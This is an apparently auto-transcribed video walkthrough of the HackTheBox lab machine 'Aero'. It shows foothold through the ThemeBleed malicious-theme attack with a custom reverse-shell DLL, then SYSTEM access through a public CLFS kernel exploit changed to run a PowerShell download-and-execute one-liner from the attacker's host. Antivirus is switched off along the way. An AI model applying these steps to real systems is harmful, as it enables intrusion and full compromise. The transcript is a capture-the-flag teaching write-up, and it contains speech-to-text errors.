text: what's going on YouTube this is ipsag I'm gonna do an arrow from hack the box which is another non-competitive hack the Box release which just means it didn't release on a Saturday and it went straight to retired so we're free to do write-ups and videos exploitation is relatively straightforward that being said you do need some programming background because the user step involves creating a Windows dll and the root step is a Windows kernel previous that has a public POC so you got to modify the one line because the POC just executes notepad as admin so you want to do something else like send a reverse shell the user step is the theme bleed exploit it has a website you upload a malicious Windows 11 theme to it the website tries to apply it to the box and if you did everything correctly you can get a root

title: HackTheBox - Aero


text: Shell at that point the root step has a pretty cool story behind it because the actual Colonel prevask wasn't found by legitimate researchers it was found in the Wild by ransomware groups using it so let's just jump into the box as always we can with the end map so Dash SC for default scripts SV enumerate versions OA I'll put all formats playing the end map director and call it Arrow then the IP address of 10 10 11.237 this can take some time to run so I've already ran it looking at the results there's just one port open that is HTTP on Port 80 and it's a Microsoft IIs web server the page title is Arrow themehub there's not really that much information here so let's just go take a look at the site so going to 10 10 11 30 237 we can see it's a Windows 11 theme Repository if we click around we can see about it's

title: HackTheBox - Aero


text: just replaced to Host Windows 11 themes or download them and then there's a upload field so if we click on browse we can click on all supported types and it's theme and theme pack so I'm going to do theme and I'm just going to touch um test.theme so we can upload something and I'm also going to intercept this request to go through grip Suite so we can kind of see how this works so intercept is on let's click upload file and we can see there is a ask.net quirky a cookie I don't know what I said um so this is using ASP we have the file we didn't put anything in this I'm just going to send it over to repeater so we can see the response and we get some Json back saying once we test your theme it will be added to the site so it looks like there's someone going out and installing the themes we upload to test them out or something like that I'm

title: HackTheBox - Aero


text: going to check if there's like an upload directory so if we do upload we can try uploads we're not getting anything I'm going to set up a go Buster so we have some Recon running in the background so go Buster dir HTTP 10 10 11 237 or a list up seclist discovery uh web content rap small words dot text and we don't know if this does host PHP or anything if we did like index.php um nothing it goes to a 404 I'm just trying to show that real quick so if we did get on slash we have the page slash index not found HTML not found PHP ASP aspx so I don't know exactly what server this is I don't know what this powered by arr30 oh I've never seen that actually um so let's turn web Suite off maybe this is some type of web server app Microsoft application request routing proxy based routing module that forwards

title: HackTheBox - Aero


text: HTTP request to application servers so I'm not exactly sure what this web server is but we don't know the extension so we can't add that to our Go Buster so let's just let this go see if it finds anything we have a home and upload that slash upload was the upload page right uh method not allowed because we use post and that's how we upload files so that's not interesting um home is the index it's not case sensitive so we can also use the ref small words um Dash lowercase because it is Windows Windows isn't case sensitive on web servers normally so you can speed up a lot of dirt busting by just using the lowercase word list um so while that goes I'm going to go ahead and Google windows theme exploit to see if there's a way we can exploit whoever is testing out these themes and it looks like there is a named vulnerability called theme bleed

title: HackTheBox - Aero


text: and if we did some reading we find there is a way to um exploit this so the researcher notice when version 999 is used for some routine between time I'm not sure exactly how this works but there is a proof of concept so let's just go ahead and look at this to see how it works or how to use this so we have this proof of concept we have the server to run the server then we can make theme and make theme pack and stage one um we have to create a theme pack version 999 that creates some weird Behavior stage two needs to be valid unmodified Ms styles to pass some type of signature check and then stage three a dll that is loaded and executed they just have it executing calc.exe obviously we don't want to execute calc.exe want we want to um having sound like a reverse shell so to make your own payload all you need is a

title: HackTheBox - Aero


text: dll with an export named theme a verified theme version you actually don't even need this you can probably just do it on dll attach which we will show at the end of the video If you go to my um video for dll hijacking if any of this confuses you this may help um I go into a lot about that what he's doing here is hooking a specific function so when the Microsoft theme calls verify theme version it calls earthing the reason why you don't need it is because you can do it whenever the dll attaches to execute your code but let's start off by just creating a dll that sends a reverse shell on this verify theme version and I'm going to do this in Linux to create the dll because I don't like using um visual studio if I don't have to because it just puts a lot of overhead on your code there's also a lot of properties

title: HackTheBox - Aero


text: that you kind of have to mimic there's a lot of times we just import a project and some setting isn't correct so it's not compiling for you um it's just easier to copy I think if we do this on Linux and what you will need is um let's see app search men g w is it 64. is this the package w64 I think this the package you want Min g w 64. and now I install everything to compile so I'm just going to start off by creating main.c and let's go find our reverse Shell Code so I'm just going to call uh go to Google and say C reverse shell I may want to add GitHub to this the first one is let's see what this is this is just going to be a Linux one so we definitely don't want that um whoops did not mean to close that shell or tab reverse shell let's go to the next one there is a Windows one here so we're probably going to use this

title: HackTheBox - Aero


text: windows.c and let us copy this so copy raw file we can paste this in what if I do set paste does that change anything no okay so I'm going to change a few things in this because I just want this reverse shell to be a function so what I'm going to do is um delete this line where it's just checking if client IP is equal to something and then we're going to change int main to be int reverse shell and then the parameters we want are going to be a care I'm going to leave these variable names as they are so client IP and the other one we want is int client port okay so now we can delete these definitions and then we got two definitions here wait for client else I don't think we have that defined so I'm just going to remove this and this should be our reverse shell okay that looks fine so now we have to create the function

title: HackTheBox - Aero


text: for theme bleed the verify theme version so all we do is say void verify theme version and we're doing void there because we don't have to return anything and I can just call reverse shell 10 10 14 8 which is my IP and then 9001.

title: HackTheBox - Aero


text: and we have to put a semicolon there and now we want to compile this so x86 um 64. like that and G after this is GCC uh 132 okay specify the file we want we say Dash shared because we want a dll and let's see we have to also say this and I just know that because these errors we're saying the Linker to use um I think winsock that is and function okay that looks good it probably compiled to a.exe so we can remove that and let's just call this um Dash o verify theme version.dll compiles just fine we do file on this we have it um I think we can also do python3 Dash MPE file exports verify theme and that's going to show the two exports of this so these are the functions you can actually execute with run dll32 if we wanted to get rid of that we can probably static it or static link it so if we just say

title: HackTheBox - Aero


text: um static in because if anyone's analyzing this if you have an export called reverse shell that's going to be a little fishy right so let's recompile uh that did not like it is it a something as stupid as the order these uh functions are declared if I put that at the bottom there we go now we're compiled so if we do PE file we only have verify theme version so what I'm actually going to do is I want to test this out before we even do anything malicious so I just want to make sure my dll works so let's copy this and then go back into here and we can change the IP address to be a non-vpn one so I'm going to execute this on just another Windows machine I have okay let's recompile and then start a web server so python3 HTTP server and I'm going to switch to a Windows box and go to or python web server so download let's

title: HackTheBox - Aero


text: keep uh keep anyway okay so now let's just go into CMD go into our downloads we can do run dll32 on our file let me make this bigger for you and then what was the export we called um the file exports verify theme version and we need to NC lvmp 9001 we hit this nothing happens here go back here and we have a reverse shell so we verified that our dll works just fine now the actual theme bleed server we should run this from a Windows box because um the whole SMB server it uses it doesn't work in mono on Linux so I've only been able to get this to work on Windows how it does it is um we'll probably just run the strings on the theme file afterwards to make more sense but essentially the theme file points to an SMB server enhance some dlls and each time it's trying to read the dll it changes it out slightly with

title: HackTheBox - Aero


text: our malicious one we eventually get code execution so let's go Google GitHub theme bleed and download it from the releases because this is going to have a pre-compiled one uh smart screen blocked it let's keep it anyway virus let's go to Defender and disable uh varison threat protection manage settings disable it I'm surprised the founder didn't flag or reverse shell that was weird um I really expected it to flag it I guess maybe because it's a dll keep anyway okay so now we have theme bleed so let's go CMD and I think the one thing I did not mention um you're going to want to go to services and then you can either right click run as administrator or do what I do Ctrl shift enter and then you want to disable the server because the theme bleed exploit wants to listen on Port 445 and if the server uh service is running it's going to be

title: HackTheBox - Aero


text: listing on 445 so you want to disable it then reboot your box so once you have 445 open you can check by like netstat an find string 445 nothing comes back um then you can run theme bleed so what we want to do is make the theme so we can do theme bleed if we execute it we want to do make theme point it at 10 10 14 8 and the output path will be exploit.theme and then we want to get this over to our Linux box so we can upload it the other thing we need to do is start the server but before we do that we want to replace stage three because this just executes calc so I'm going to delete it and then we can go to our downloads copy our dll go back and rename this to be stage underscore three so when it tries to get the dll the third time it actually gets um ours with the reverse shell so with that we can start the server

title: HackTheBox - Aero


text: so instead of make theme I think it was just server uh we gotta go in theme bleed there we go so let's copy um this over to our box so I'm going to copy this and then we switch over to our Linux box and I'm going to open my file browser and then where's htb Arrow and if I do control V that does not paste it um I'm just going to drag it from a window off screen and there we go now we have the exploit theme so if we look at this we can see it just points us over to or SMB server so the last thing we're going to have to do is set up a socat tunnel to forward things over to a Windows box because our Windows box over here is not listening on our 10 10 14 8 address so I'm going to do ipconfig and we're going to get the IP address and we have to make sure the two VMS can talk if you're on like natted mode and your VM chances are they won't be able to talk you probably want to switch your

title: HackTheBox - Aero


text: networking over to bridged so we can see I can talk there I'm going to do so cat with a pseudo TCP Dash listen on 445 and then Fork reuse add-r and then we do TCP this 445.

title: HackTheBox - Aero


text: so what this does is anything coming into my box on 445 it's going to afford it over to our Windows box and yeah so let's now go back to the 10 10 11 237 go over to upload click browse exploit.theme and let us upload the file and when we do we don't see anything here right away if we go to visual studio or a Windows box we can see the stage one it's got a race condition and when it hits load library that means we got code execution so let's hop back over to our Linux box and we did not get a shell though normally it means we have code execution and I know what I screwed up um I did not change or IP address so if I go back to main.c I left and out that IP so stupid me so let's recompile this python 3M ACP server then we want to go back and download it and replace so if you are having trouble always remember you've said things how you think they

title: HackTheBox - Aero


text: are so let's do keep anyway grab this copy it then we can go back to our desktop um theme bleed data paste it and rename this to Stage underscore three okay let's restart the server and you may hear I hit enter whenever I start it it's just a habit because the Powershell terminal sucks for Windows sometimes it'll hang there I don't know exactly why but let's just stand up or so cat exploit theme upload file if we go back to this we can see version check verify signature and then we should see the load Library call so let's hop back over to Linux and we have our shell it is important to know that you're in SQL and Windows system 32 sometimes when you run this exploit you go into like SQL and windows immersive control panel and when you do that you're in a really funky shell that doesn't do a lot of things like you're trying to execute an executable and it just won't run so make sure you're in

title: HackTheBox - Aero


text: the system 32 if you're not you may have issues later on so if we do who am I we can see we're Sam Emerson so if we go to CD slash users and then we can go into the Sam Emerson directory if we go to desktop we could get user.txt if we go into documents there is a um PDF so let's go CD documents there's also a Powershell script we can just read this if we do type Watchdog PS1 this looks like it's just the automation for how um the web server is executing things like um it's got a hook on new file created when it does it goes and executes that uh it's looking at the theme directory so yeah that's exactly how that's working um this is just like the web server Ascent well the automation around executing the theme and how we got code execution so that's not important because we already exported that so we got the user SCM Emerson we should look

title: HackTheBox - Aero


text: at the PDF so let's go over to Powershell and then I can do b64 is equal to convert to base64 string then we can do IO file read all bytes and I want to give it the file name okay if I write out Bay 64 we have it so let's copy this over to here we can say um cve.pdf Dot b64. paste it in and base64 Dash D on that to cve.pdf it reads just fine so let's open it and we can see it's a cve 2023-2852 it's a privileged escalation and the common log file system and it's talking about the nuclear ransomware group that's been active since February 2022 and if you read this whole thing it's an actual legitimate response that you can find on the internet um a ransomware group was using a Ode to prevask so I'm guessing that's going to be the Prevost in this box so let's Google that cve POC and we can get it right here

title: HackTheBox - Aero


text: see docx access site has been restricted I have not seen that before okay that works just fine that was bizarre um this looks like it's going to be a visual studio project so I'm actually going to use Visual Studio to open this so let's go over here um download it and hope I have are they like middle of removing this repository or something what the hell um get clone that worked so zip Dash r c v e dot zip 2023.zip let's see I'm just gonna try it I can't remember the zip um syntax off my head so now we have a tar or we will soon and we can just download it that way to our Windows box that was really bizarre so copy this yeah it's still blocked okay I have to download 7-Zip on this box so I'm gonna pause the video get 7-Zip so I can open this up I really didn't expect to get blocked by GitHub for recording this all right middle of recording this

title: HackTheBox - Aero


text: okay I got seven zip and extracted the um file I had downloaded so we're going to open it up in Visual Studio it's important that it's Visual Studio not Visual Studio code and once it opens we can take a look at it there's one line we're going to have to change because like all exploits it just opens calculator I believe and we'll want to um execute a reverse shell so we have this and also make sure you change over to release if you leave it in debug um it has some debug headers that require like the um Visual Studio run time to be installed for it to work so you definitely want to make sure you're in release mode and if we scroll around let's see it's probably near the bottom right log file virtual free what if we search for calc does execute calc um no let's look for system there we go it executes notepad not calc so we want to replace this with a

title: HackTheBox - Aero


text: reverse shell so let's change out Notepad okay put a Powershell one-liner in so Powershell IX new object net dot web client download string then HTTP 10 10 14 8 Port 8001 or 8 000 shell.ps1 okay that all looks good so we can save this build rebuild solution and then we have it saved here so if we go to that directory we can copy it and then move it over to our Linux VM I'm going to create a folder www and then I'm going to copy it in and then the other thing we have to do is get a reverse shell so user share is it machine then let's see uh I want to say this Powershell find Dot grep TCP it shells and then I'm going to copy the DCP one line to htb Arrow www okay so we have it here we rename this to just be shell.ps1 and we uncomment and change what we want so we'll use the first one and we'll change it to be 10 10 14 8 9001.

title: HackTheBox - Aero


text: okay so we have the web server still running let's go in dub dub dub and see lvmp 9001 here's where a shell is so we want to download it so I'm going to curl 10 10 14 8 port 8000.

title: HackTheBox - Aero


text: and then we want to grab was it clfs for common log file system or something Erp for elevation of privilege I'll just call eop.exe looks like it downloaded if we execute it we have an error if I go over to my other pane where the web server is it never attempted to hit our reverse shell early enough the system call came after we are system but I think this is from our Powershell let's go over and look at the code I would expect this to print after we're system so let's see Powershell oh forgot that parenthesis that's probably it let's build rebuild grab it copy then switch over to my Linux box replace and then go where we downloaded it delete run eop.exe that looks better we did get shell.ps one oh and we have a connection so if we do who am I here we're anti-authority system so we can go to users administrator desktop and get root.txt so hopefully

title: HackTheBox - Aero


text: you guys enjoyed that box I know this was difficult with modifying uh some C files but hopefully it makes sense take care and we'll see you all next time actually cancel that I just remembered um we're going to try one other thing with the theme exploit and that would be doing the theme exploit without um exporting anything right so if we go here and we can go to the bottom let's delete that function and what we're going to do is create a new one so Boolean win API dll Main and this is going to be straight from my dll injection video um do I still have it up I don't abstract rocks dll hijack it's going to be the method out of this right so we give it the handle it's going to be the dll handle d word reason be void so this is just a function that happens whenever a dll um gets touched to something in a process

title: HackTheBox - Aero


text: so we can do a switch DW reason and there's a lot of different cases I bet if we just Google um let's see cat main C so if we Google this string we should get other hits um the old Main so we have like process attached thread attached a lot of different things we probably should go to like um documentation page to get everything here's a skeleton example of what we're doing right so what we're going to do is just on process attach run a code so we do the switch statement then case dll process attach call the reverse shell function then break okay and then we can just always return true that everything was successful okay let's recompile it if we run PE file against this there are no more exports so if the theme um tries to call that export this dll is going to do nothing with it right this

title: HackTheBox - Aero


text: DLo is only going to happen when something attaches to it so at CP this to www and we can go back to or Windows box and we no longer need this we can go to 10 10 14 8 8 000 oh no it's 192.

title: HackTheBox - Aero


text: redownload this going to trash it and we'll delete the old version going downloads delete yep let's keep it keep anyway so the time matches up let's go to desktop theme bleed data delete stage three put a new one I think it was 94 now it's 93.

title: HackTheBox - Aero


text: so it's definitely a different size and now we can restart the server and then all we do we have to run on the socat again and NCL VMP 9001. so now if I go back to this we upload exploit theme it's going to go over here we see it requesting stage one then we get stage two the load dll comes next we should see it in three two one there we go and now I'm in this immersive control panel and it died um so if I run this again it probably will not happen let's do this then go over here re-upload our theme upload the file look back at this we're doing version check again verify signature load library and there we go we're in system so we don't actually have to do that um function export to get the code execution I'm pretty sure though that there's going to be some type of error that happens when you don't have that function there and that causes a lot of

title: HackTheBox - Aero


text: things to crash but since we forked and got the reverse shell it doesn't matter um so definitely doing it the first way is the better way to do it but you could also do it this way so um with that being said hope you guys enjoyed the Box take care and I will see you all next time

title: HackTheBox - Aero